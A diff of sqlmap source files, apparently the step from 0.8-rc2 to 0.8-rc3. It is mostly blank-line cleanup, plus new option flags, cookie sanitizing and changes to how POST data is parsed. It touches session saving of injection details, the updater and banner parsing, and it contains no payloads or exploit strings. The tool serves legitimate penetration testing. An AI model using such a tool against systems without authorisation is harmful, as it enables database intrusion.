||||||
|
|
||||||
|
|
||||||
|
|
||||||
optDict = {
|
optDict = {
|
||||||
# Family: { "parameter_name": "parameter_datatype" },
|
# Family: { "parameter_name": "parameter_datatype" },
|
||||||
"Target": {
|
"Target": {
|
||||||
|
@ -36,6 +34,7 @@ optDict = {
|
||||||
"method": "string",
|
"method": "string",
|
||||||
"data": "string",
|
"data": "string",
|
||||||
"cookie": "string",
|
"cookie": "string",
|
||||||
|
"dropSetCookie": "boolean",
|
||||||
"referer": "string",
|
"referer": "string",
|
||||||
"agent": "string",
|
"agent": "string",
|
||||||
"userAgentsFile": "string",
|
"userAgentsFile": "string",
|
||||||
|
@ -131,11 +130,12 @@ optDict = {
|
||||||
},
|
},
|
||||||
|
|
||||||
"Miscellaneous": {
|
"Miscellaneous": {
|
||||||
"eta": "boolean",
|
|
||||||
"verbose": "integer",
|
|
||||||
"updateAll": "boolean",
|
|
||||||
"sessionFile": "string",
|
"sessionFile": "string",
|
||||||
|
"eta": "boolean",
|
||||||
|
"googlePage": "integer",
|
||||||
|
"updateAll": "boolean",
|
||||||
"batch": "boolean",
|
"batch": "boolean",
|
||||||
"cleanup": "boolean"
|
"cleanup": "boolean",
|
||||||
|
"verbose": "integer"
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|
|
@ -22,11 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
|
|
||||||
|
|
||||||
class ProgressBar:
|
class ProgressBar:
|
||||||
"""
|
"""
|
||||||
This class defines methods to update and draw a progress bar
|
This class defines methods to update and draw a progress bar
|
||||||
|
@ -42,7 +39,6 @@ class ProgressBar:
|
||||||
self.__amount = 0
|
self.__amount = 0
|
||||||
self.update()
|
self.update()
|
||||||
|
|
||||||
|
|
||||||
def __convertSeconds(self, value):
|
def __convertSeconds(self, value):
|
||||||
seconds = value
|
seconds = value
|
||||||
minutes = seconds / 60
|
minutes = seconds / 60
|
||||||
|
@ -50,7 +46,6 @@ class ProgressBar:
|
||||||
|
|
||||||
return "%.2d:%.2d" % (minutes, seconds)
|
return "%.2d:%.2d" % (minutes, seconds)
|
||||||
|
|
||||||
|
|
||||||
def update(self, newAmount=0):
|
def update(self, newAmount=0):
|
||||||
"""
|
"""
|
||||||
This method updates the progress bar
|
This method updates the progress bar
|
||||||
|
@ -87,7 +82,6 @@ class ProgressBar:
|
||||||
percentString = str(percentDone) + "%"
|
percentString = str(percentDone) + "%"
|
||||||
self.__progBar = "%s %s" % (percentString, self.__progBar)
|
self.__progBar = "%s %s" % (percentString, self.__progBar)
|
||||||
|
|
||||||
|
|
||||||
def draw(self, eta=0):
|
def draw(self, eta=0):
|
||||||
"""
|
"""
|
||||||
This method draws the progress bar if it has changed
|
This method draws the progress bar if it has changed
|
||||||
|
@ -102,7 +96,6 @@ class ProgressBar:
|
||||||
blank = " " * (80 - len("\r%s %d/%d" % (self.__progBar, self.__amount, self.__max)))
|
blank = " " * (80 - len("\r%s %d/%d" % (self.__progBar, self.__amount, self.__max)))
|
||||||
dataToStdout("\r%s %d/%d%s" % (self.__progBar, self.__amount, self.__max, blank))
|
dataToStdout("\r%s %d/%d%s" % (self.__progBar, self.__amount, self.__max, blank))
|
||||||
|
|
||||||
|
|
||||||
def __str__(self):
|
def __str__(self):
|
||||||
"""
|
"""
|
||||||
This method returns the progress bar string
|
This method returns the progress bar string
|
||||||
|
|
|
@ -27,15 +27,12 @@ In addition to normal readline stuff, this module provides haveReadline
|
||||||
boolean and _outputfile variable used in genutils.
|
boolean and _outputfile variable used in genutils.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.settings import IS_WIN
|
from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import PLATFORM
|
from lib.core.settings import PLATFORM
|
||||||
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
from readline import *
|
from readline import *
|
||||||
import readline as _rl
|
import readline as _rl
|
||||||
|
@ -50,7 +47,7 @@ except ImportError:
|
||||||
except ImportError:
|
except ImportError:
|
||||||
haveReadline = False
|
haveReadline = False
|
||||||
|
|
||||||
if IS_WIN is True and haveReadline:
|
if IS_WIN and haveReadline:
|
||||||
try:
|
try:
|
||||||
_outputfile=_rl.GetOutputFile()
|
_outputfile=_rl.GetOutputFile()
|
||||||
except AttributeError:
|
except AttributeError:
|
||||||
|
@ -79,7 +76,6 @@ if PLATFORM == 'darwin' and haveReadline:
|
||||||
|
|
||||||
uses_libedit = True
|
uses_libedit = True
|
||||||
|
|
||||||
|
|
||||||
# the clear_history() function was only introduced in Python 2.4 and is
|
# the clear_history() function was only introduced in Python 2.4 and is
|
||||||
# actually optional in the readline API, so we must explicitly check for its
|
# actually optional in the readline API, so we must explicitly check for its
|
||||||
# existence. Some known platforms actually don't have it. This thread:
|
# existence. Some known platforms actually don't have it. This thread:
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.common import dataToSessionFile
|
from lib.core.common import dataToSessionFile
|
||||||
|
@ -37,7 +35,6 @@ from lib.core.settings import MYSQL_ALIASES
|
||||||
from lib.core.settings import PGSQL_ALIASES
|
from lib.core.settings import PGSQL_ALIASES
|
||||||
from lib.core.settings import ORACLE_ALIASES
|
from lib.core.settings import ORACLE_ALIASES
|
||||||
|
|
||||||
|
|
||||||
def setString():
|
def setString():
|
||||||
"""
|
"""
|
||||||
Save string to match in session file.
|
Save string to match in session file.
|
||||||
|
@ -51,7 +48,6 @@ def setString():
|
||||||
if condition:
|
if condition:
|
||||||
dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
|
dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
|
||||||
|
|
||||||
|
|
||||||
def setRegexp():
|
def setRegexp():
|
||||||
"""
|
"""
|
||||||
Save regular expression to match in session file.
|
Save regular expression to match in session file.
|
||||||
|
@ -65,7 +61,6 @@ def setRegexp():
|
||||||
if condition:
|
if condition:
|
||||||
dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp))
|
dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp))
|
||||||
|
|
||||||
|
|
||||||
def setMatchRatio():
|
def setMatchRatio():
|
||||||
condition = (
|
condition = (
|
||||||
not kb.resumedQueries
|
not kb.resumedQueries
|
||||||
|
@ -76,7 +71,6 @@ def setMatchRatio():
|
||||||
if condition:
|
if condition:
|
||||||
dataToSessionFile("[%s][None][None][Match ratio][%s]\n" % (conf.url, conf.matchRatio))
|
dataToSessionFile("[%s][None][None][Match ratio][%s]\n" % (conf.url, conf.matchRatio))
|
||||||
|
|
||||||
|
|
||||||
def setInjection():
|
def setInjection():
|
||||||
"""
|
"""
|
||||||
Save information retrieved about injection place and parameter in the
|
Save information retrieved about injection place and parameter in the
|
||||||
|
@ -100,7 +94,6 @@ def setInjection():
|
||||||
dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injParameter))
|
dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injParameter))
|
||||||
dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injType))
|
dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injType))
|
||||||
|
|
||||||
|
|
||||||
def setParenthesis(parenthesisCount):
|
def setParenthesis(parenthesisCount):
|
||||||
"""
|
"""
|
||||||
@param parenthesisCount: number of parenthesis to be set into the
|
@param parenthesisCount: number of parenthesis to be set into the
|
||||||
|
@ -118,7 +111,6 @@ def setParenthesis(parenthesisCount):
|
||||||
|
|
||||||
kb.parenthesis = parenthesisCount
|
kb.parenthesis = parenthesisCount
|
||||||
|
|
||||||
|
|
||||||
def setDbms(dbms):
|
def setDbms(dbms):
|
||||||
"""
|
"""
|
||||||
@param dbms: database management system to be set into the knowledge
|
@param dbms: database management system to be set into the knowledge
|
||||||
|
@ -148,7 +140,6 @@ def setDbms(dbms):
|
||||||
|
|
||||||
logger.info("the back-end DBMS is %s" % kb.dbms)
|
logger.info("the back-end DBMS is %s" % kb.dbms)
|
||||||
|
|
||||||
|
|
||||||
def setOs():
|
def setOs():
|
||||||
"""
|
"""
|
||||||
Example of kb.bannerFp dictionary:
|
Example of kb.bannerFp dictionary:
|
||||||
|
@ -196,7 +187,6 @@ def setOs():
|
||||||
if condition:
|
if condition:
|
||||||
dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.os))
|
dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.os))
|
||||||
|
|
||||||
|
|
||||||
def setStacked():
|
def setStacked():
|
||||||
condition = (
|
condition = (
|
||||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
||||||
|
@ -209,7 +199,6 @@ def setStacked():
|
||||||
if condition:
|
if condition:
|
||||||
dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.stackedTest))
|
dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.stackedTest))
|
||||||
|
|
||||||
|
|
||||||
def setUnion(comment=None, count=None, position=None):
|
def setUnion(comment=None, count=None, position=None):
|
||||||
"""
|
"""
|
||||||
@param comment: union comment to save in session file
|
@param comment: union comment to save in session file
|
||||||
|
@ -249,7 +238,6 @@ def setUnion(comment=None, count=None, position=None):
|
||||||
|
|
||||||
kb.unionPosition = position
|
kb.unionPosition = position
|
||||||
|
|
||||||
|
|
||||||
def setRemoteTempPath():
|
def setRemoteTempPath():
|
||||||
condition = (
|
condition = (
|
||||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
||||||
|
@ -259,7 +247,6 @@ def setRemoteTempPath():
|
||||||
if condition:
|
if condition:
|
||||||
dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], conf.tmpPath))
|
dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], conf.tmpPath))
|
||||||
|
|
||||||
|
|
||||||
def resumeConfKb(expression, url, value):
|
def resumeConfKb(expression, url, value):
|
||||||
if expression == "String" and url == conf.url:
|
if expression == "String" and url == conf.url:
|
||||||
string = value[:-1]
|
string = value[:-1]
|
||||||
|
|
|
@ -22,15 +22,12 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
import subprocess
|
import subprocess
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
|
|
||||||
# sqlmap version and site
|
# sqlmap version and site
|
||||||
VERSION = "0.8-rc2"
|
VERSION = "0.8-rc3"
|
||||||
VERSION_STRING = "sqlmap/%s" % VERSION
|
VERSION_STRING = "sqlmap/%s" % VERSION
|
||||||
SITE = "http://sqlmap.sourceforge.net"
|
SITE = "http://sqlmap.sourceforge.net"
|
||||||
|
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import atexit
|
import atexit
|
||||||
import os
|
import os
|
||||||
import rlcompleter
|
import rlcompleter
|
||||||
|
@ -33,19 +31,16 @@ from lib.core.data import kb
|
||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
|
|
||||||
|
|
||||||
def saveHistory():
|
def saveHistory():
|
||||||
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
|
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
|
||||||
readline.write_history_file(historyPath)
|
readline.write_history_file(historyPath)
|
||||||
|
|
||||||
|
|
||||||
def loadHistory():
|
def loadHistory():
|
||||||
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
|
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
|
||||||
|
|
||||||
if os.path.exists(historyPath):
|
if os.path.exists(historyPath):
|
||||||
readline.read_history_file(historyPath)
|
readline.read_history_file(historyPath)
|
||||||
|
|
||||||
|
|
||||||
def queriesForAutoCompletion():
|
def queriesForAutoCompletion():
|
||||||
autoComplQueries = {}
|
autoComplQueries = {}
|
||||||
|
|
||||||
|
@ -61,7 +56,6 @@ def queriesForAutoCompletion():
|
||||||
|
|
||||||
return autoComplQueries
|
return autoComplQueries
|
||||||
|
|
||||||
|
|
||||||
class CompleterNG(rlcompleter.Completer):
|
class CompleterNG(rlcompleter.Completer):
|
||||||
def global_matches(self, text):
|
def global_matches(self, text):
|
||||||
"""
|
"""
|
||||||
|
@ -80,7 +74,6 @@ class CompleterNG(rlcompleter.Completer):
|
||||||
|
|
||||||
return matches
|
return matches
|
||||||
|
|
||||||
|
|
||||||
def autoCompletion(sqlShell=False, osShell=False):
|
def autoCompletion(sqlShell=False, osShell=False):
|
||||||
# First of all we check if the readline is available, by default
|
# First of all we check if the readline is available, by default
|
||||||
# it is not in Python default installation on Windows
|
# it is not in Python default installation on Windows
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import errno
|
import errno
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
|
@ -31,8 +29,7 @@ import time
|
||||||
|
|
||||||
from lib.core.settings import IS_WIN
|
from lib.core.settings import IS_WIN
|
||||||
|
|
||||||
|
if not IS_WIN:
|
||||||
if IS_WIN is not True:
|
|
||||||
import fcntl
|
import fcntl
|
||||||
|
|
||||||
if (sys.hexversion >> 16) >= 0x202:
|
if (sys.hexversion >> 16) >= 0x202:
|
||||||
|
@ -40,7 +37,6 @@ if IS_WIN is not True:
|
||||||
else:
|
else:
|
||||||
import FCNTL
|
import FCNTL
|
||||||
|
|
||||||
|
|
||||||
def blockingReadFromFD(fd):
|
def blockingReadFromFD(fd):
|
||||||
# Quick twist around original Twisted function
|
# Quick twist around original Twisted function
|
||||||
# Blocking read from a non-blocking file descriptor
|
# Blocking read from a non-blocking file descriptor
|
||||||
|
@ -64,7 +60,6 @@ def blockingReadFromFD(fd):
|
||||||
|
|
||||||
return output
|
return output
|
||||||
|
|
||||||
|
|
||||||
def blockingWriteToFD(fd, data):
|
def blockingWriteToFD(fd, data):
|
||||||
# Another quick twist
|
# Another quick twist
|
||||||
while True:
|
while True:
|
||||||
|
@ -82,7 +77,6 @@ def blockingWriteToFD(fd, data):
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
|
|
||||||
def setNonBlocking(fd):
|
def setNonBlocking(fd):
|
||||||
"""
|
"""
|
||||||
Make a file descriptor non-blocking
|
Make a file descriptor non-blocking
|
||||||
|
|
|
@ -22,15 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import time
|
import time
|
||||||
|
|
||||||
from lib.core.common import dataToSessionFile
|
from lib.core.common import dataToSessionFile
|
||||||
from lib.core.common import paramToDict
|
from lib.core.common import paramToDict
|
||||||
from lib.core.common import parseTargetUrl
|
from lib.core.common import parseTargetUrl
|
||||||
from lib.core.convert import urldecode
|
from lib.core.common import sanitizeCookie
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
@ -41,7 +39,6 @@ from lib.core.exception import sqlmapGenericException
|
||||||
from lib.core.exception import sqlmapSyntaxException
|
from lib.core.exception import sqlmapSyntaxException
|
||||||
from lib.core.session import resumeConfKb
|
from lib.core.session import resumeConfKb
|
||||||
|
|
||||||
|
|
||||||
def __setRequestParams():
|
def __setRequestParams():
|
||||||
"""
|
"""
|
||||||
Check and set the parameters and perform checks on 'data' option for
|
Check and set the parameters and perform checks on 'data' option for
|
||||||
|
@ -65,21 +62,20 @@ def __setRequestParams():
|
||||||
raise sqlmapSyntaxException, errMsg
|
raise sqlmapSyntaxException, errMsg
|
||||||
|
|
||||||
if conf.data:
|
if conf.data:
|
||||||
urlDecodedData = urldecode(conf.data).replace("%", "%%")
|
conf.parameters["POST"] = conf.data
|
||||||
conf.parameters["POST"] = urlDecodedData
|
__paramDict = paramToDict("POST", conf.data)
|
||||||
__paramDict = paramToDict("POST", urlDecodedData)
|
|
||||||
|
|
||||||
if __paramDict:
|
if __paramDict:
|
||||||
conf.paramDict["POST"] = __paramDict
|
conf.paramDict["POST"] = __paramDict
|
||||||
__testableParameters = True
|
__testableParameters = True
|
||||||
|
|
||||||
|
conf.method = "POST"
|
||||||
|
|
||||||
# Perform checks on Cookie parameters
|
# Perform checks on Cookie parameters
|
||||||
if conf.cookie:
|
if conf.cookie:
|
||||||
# TODO: sure about decoding the cookie?
|
conf.cookie = sanitizeCookie(conf.cookie)
|
||||||
#urlDecodedCookie = urldecode(conf.cookie).replace("%", "%%")
|
conf.parameters["Cookie"] = conf.cookie
|
||||||
urlDecodedCookie = conf.cookie.replace("%", "%%")
|
__paramDict = paramToDict("Cookie", conf.cookie)
|
||||||
conf.parameters["Cookie"] = urlDecodedCookie
|
|
||||||
__paramDict = paramToDict("Cookie", urlDecodedCookie)
|
|
||||||
|
|
||||||
if __paramDict:
|
if __paramDict:
|
||||||
conf.paramDict["Cookie"] = __paramDict
|
conf.paramDict["Cookie"] = __paramDict
|
||||||
|
@ -89,7 +85,8 @@ def __setRequestParams():
|
||||||
if conf.httpHeaders:
|
if conf.httpHeaders:
|
||||||
for httpHeader, headerValue in conf.httpHeaders:
|
for httpHeader, headerValue in conf.httpHeaders:
|
||||||
if httpHeader == "User-Agent":
|
if httpHeader == "User-Agent":
|
||||||
conf.parameters["User-Agent"] = urldecode(headerValue).replace("%", "%%")
|
# No need for url encoding/decoding the user agent
|
||||||
|
conf.parameters["User-Agent"] = headerValue
|
||||||
|
|
||||||
condition = not conf.testParameter
|
condition = not conf.testParameter
|
||||||
condition |= "User-Agent" in conf.testParameter
|
condition |= "User-Agent" in conf.testParameter
|
||||||
|
@ -111,7 +108,6 @@ def __setRequestParams():
|
||||||
errMsg += "within the GET, POST and Cookie parameters"
|
errMsg += "within the GET, POST and Cookie parameters"
|
||||||
raise sqlmapGenericException, errMsg
|
raise sqlmapGenericException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def __setOutputResume():
|
def __setOutputResume():
|
||||||
"""
|
"""
|
||||||
Check and set the output text file and the resume functionality.
|
Check and set the output text file and the resume functionality.
|
||||||
|
@ -167,7 +163,6 @@ def __setOutputResume():
|
||||||
errMsg = "unable to write on the session file specified"
|
errMsg = "unable to write on the session file specified"
|
||||||
raise sqlmapFilePathException, errMsg
|
raise sqlmapFilePathException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def __createFilesDir():
|
def __createFilesDir():
|
||||||
"""
|
"""
|
||||||
Create the file directory.
|
Create the file directory.
|
||||||
|
@ -181,7 +176,6 @@ def __createFilesDir():
|
||||||
if not os.path.isdir(conf.filePath):
|
if not os.path.isdir(conf.filePath):
|
||||||
os.makedirs(conf.filePath, 0755)
|
os.makedirs(conf.filePath, 0755)
|
||||||
|
|
||||||
|
|
||||||
def __createDumpDir():
|
def __createDumpDir():
|
||||||
"""
|
"""
|
||||||
Create the dump directory.
|
Create the dump directory.
|
||||||
|
@ -195,7 +189,6 @@ def __createDumpDir():
|
||||||
if not os.path.isdir(conf.dumpPath):
|
if not os.path.isdir(conf.dumpPath):
|
||||||
os.makedirs(conf.dumpPath, 0755)
|
os.makedirs(conf.dumpPath, 0755)
|
||||||
|
|
||||||
|
|
||||||
def createTargetDirs():
|
def createTargetDirs():
|
||||||
"""
|
"""
|
||||||
Create the output directory.
|
Create the output directory.
|
||||||
|
@ -214,7 +207,6 @@ def createTargetDirs():
|
||||||
__createDumpDir()
|
__createDumpDir()
|
||||||
__createFilesDir()
|
__createFilesDir()
|
||||||
|
|
||||||
|
|
||||||
def initTargetEnv():
|
def initTargetEnv():
|
||||||
"""
|
"""
|
||||||
Initialize target environment.
|
Initialize target environment.
|
||||||
|
|
|
@ -22,19 +22,14 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
class Unescaper:
|
class Unescaper:
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.__unescaper = None
|
self.__unescaper = None
|
||||||
|
|
||||||
|
|
||||||
def setUnescape(self, unescapeFunction):
|
def setUnescape(self, unescapeFunction):
|
||||||
self.__unescaper = unescapeFunction
|
self.__unescaper = unescapeFunction
|
||||||
|
|
||||||
|
|
||||||
def unescape(self, expression, quote=True):
|
def unescape(self, expression, quote=True):
|
||||||
return self.__unescaper(expression, quote=quote)
|
return self.__unescaper(expression, quote=quote)
|
||||||
|
|
||||||
|
|
||||||
unescaper = Unescaper()
|
unescaper = Unescaper()
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import difflib
|
import difflib
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
|
@ -48,7 +46,6 @@ from lib.core.settings import SQLMAP_SOURCE_URL
|
||||||
from lib.core.settings import VERSION
|
from lib.core.settings import VERSION
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
|
|
||||||
def __updateMSSQLXML():
|
def __updateMSSQLXML():
|
||||||
infoMsg = "updating Microsoft SQL Server XML versions file"
|
infoMsg = "updating Microsoft SQL Server XML versions file"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
@ -199,7 +196,6 @@ def __updateMSSQLXML():
|
||||||
infoMsg += "last update"
|
infoMsg += "last update"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
|
||||||
def __createFile(pathname, data):
|
def __createFile(pathname, data):
|
||||||
mkpath(os.path.dirname(pathname))
|
mkpath(os.path.dirname(pathname))
|
||||||
|
|
||||||
|
@ -207,7 +203,6 @@ def __createFile(pathname, data):
|
||||||
fileFP.write(data)
|
fileFP.write(data)
|
||||||
fileFP.close()
|
fileFP.close()
|
||||||
|
|
||||||
|
|
||||||
def __extractZipFile(tempDir, zipFile):
|
def __extractZipFile(tempDir, zipFile):
|
||||||
# Check if the saved binary file is really a ZIP file
|
# Check if the saved binary file is really a ZIP file
|
||||||
if zipfile.is_zipfile(zipFile):
|
if zipfile.is_zipfile(zipFile):
|
||||||
|
@ -221,7 +216,6 @@ def __extractZipFile(tempDir, zipFile):
|
||||||
data = sqlmapZipFile.read(info.filename)
|
data = sqlmapZipFile.read(info.filename)
|
||||||
__createFile(os.path.join(tempDir, info.filename), data)
|
__createFile(os.path.join(tempDir, info.filename), data)
|
||||||
|
|
||||||
|
|
||||||
def __updateSqlmap():
|
def __updateSqlmap():
|
||||||
infoMsg = "updating sqlmap"
|
infoMsg = "updating sqlmap"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
@ -292,8 +286,6 @@ def __updateSqlmap():
|
||||||
|
|
||||||
# For each file and directory in the temporary directory copy it
|
# For each file and directory in the temporary directory copy it
|
||||||
# to the sqlmap root path and set right permission
|
# to the sqlmap root path and set right permission
|
||||||
# TODO: remove files not needed anymore and all pyc within the
|
|
||||||
# sqlmap root path in the end
|
|
||||||
for root, _, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)):
|
for root, _, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)):
|
||||||
# Just for development release
|
# Just for development release
|
||||||
if '.svn' in root:
|
if '.svn' in root:
|
||||||
|
@ -334,7 +326,6 @@ def __updateSqlmap():
|
||||||
infoMsg = "sqlmap updated successfully"
|
infoMsg = "sqlmap updated successfully"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
|
||||||
def update():
|
def update():
|
||||||
if not conf.updateAll:
|
if not conf.updateAll:
|
||||||
return
|
return
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from xml.sax import parse
|
from xml.sax import parse
|
||||||
|
@ -35,7 +33,6 @@ from lib.core.data import kb
|
||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.parse.handler import FingerprintHandler
|
from lib.parse.handler import FingerprintHandler
|
||||||
|
|
||||||
|
|
||||||
class MSSQLBannerHandler(ContentHandler):
|
class MSSQLBannerHandler(ContentHandler):
|
||||||
"""
|
"""
|
||||||
This class defines methods to parse and extract information from the
|
This class defines methods to parse and extract information from the
|
||||||
|
@ -51,7 +48,6 @@ class MSSQLBannerHandler(ContentHandler):
|
||||||
self.__servicePack = ""
|
self.__servicePack = ""
|
||||||
self.__info = info
|
self.__info = info
|
||||||
|
|
||||||
|
|
||||||
def __feedInfo(self, key, value):
|
def __feedInfo(self, key, value):
|
||||||
value = sanitizeStr(value)
|
value = sanitizeStr(value)
|
||||||
|
|
||||||
|
@ -60,7 +56,6 @@ class MSSQLBannerHandler(ContentHandler):
|
||||||
|
|
||||||
self.__info[key] = value
|
self.__info[key] = value
|
||||||
|
|
||||||
|
|
||||||
def startElement(self, name, attrs):
|
def startElement(self, name, attrs):
|
||||||
if name == "signatures":
|
if name == "signatures":
|
||||||
self.__release = sanitizeStr(attrs.get("release"))
|
self.__release = sanitizeStr(attrs.get("release"))
|
||||||
|
@ -71,14 +66,12 @@ class MSSQLBannerHandler(ContentHandler):
|
||||||
elif name == "servicepack":
|
elif name == "servicepack":
|
||||||
self.__inServicePack = True
|
self.__inServicePack = True
|
||||||
|
|
||||||
|
|
||||||
def characters(self, data):
|
def characters(self, data):
|
||||||
if self.__inVersion:
|
if self.__inVersion:
|
||||||
self.__version += sanitizeStr(data)
|
self.__version += sanitizeStr(data)
|
||||||
elif self.__inServicePack:
|
elif self.__inServicePack:
|
||||||
self.__servicePack += sanitizeStr(data)
|
self.__servicePack += sanitizeStr(data)
|
||||||
|
|
||||||
|
|
||||||
def endElement(self, name):
|
def endElement(self, name):
|
||||||
if name == "signature":
|
if name == "signature":
|
||||||
if re.search(" %s[\.\ ]+" % self.__version, self.__banner):
|
if re.search(" %s[\.\ ]+" % self.__version, self.__banner):
|
||||||
|
@ -89,7 +82,6 @@ class MSSQLBannerHandler(ContentHandler):
|
||||||
self.__version = ""
|
self.__version = ""
|
||||||
self.__servicePack = ""
|
self.__servicePack = ""
|
||||||
|
|
||||||
|
|
||||||
elif name == "version":
|
elif name == "version":
|
||||||
self.__inVersion = False
|
self.__inVersion = False
|
||||||
self.__version = self.__version.replace(" ", "")
|
self.__version = self.__version.replace(" ", "")
|
||||||
|
@ -98,7 +90,6 @@ class MSSQLBannerHandler(ContentHandler):
|
||||||
self.__inServicePack = False
|
self.__inServicePack = False
|
||||||
self.__servicePack = self.__servicePack.replace(" ", "")
|
self.__servicePack = self.__servicePack.replace(" ", "")
|
||||||
|
|
||||||
|
|
||||||
def bannerParser(banner):
|
def bannerParser(banner):
|
||||||
"""
|
"""
|
||||||
This function calls a class to extract information from the given
|
